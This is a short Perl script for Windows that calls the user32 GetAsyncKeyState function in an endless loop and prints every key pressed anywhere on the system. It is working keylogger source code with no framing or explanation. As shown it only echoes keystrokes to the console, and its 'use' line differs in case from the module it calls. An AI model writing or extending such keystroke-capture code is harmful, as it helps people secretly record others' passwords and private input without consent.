#!/usr/bin/perl
$|++;

use strict;
use warnings;

use Win32::Api;

my $GetAsyncKeyState = Win32::API->new('user32', 'GetAsyncKeyState', 'N', 'I');

while(1) {
    for my $keycode (8..255) {
        if($GetAsyncKeyState->Call($keycode) == -32767) {
           print chr($keycode);
        }
    }
}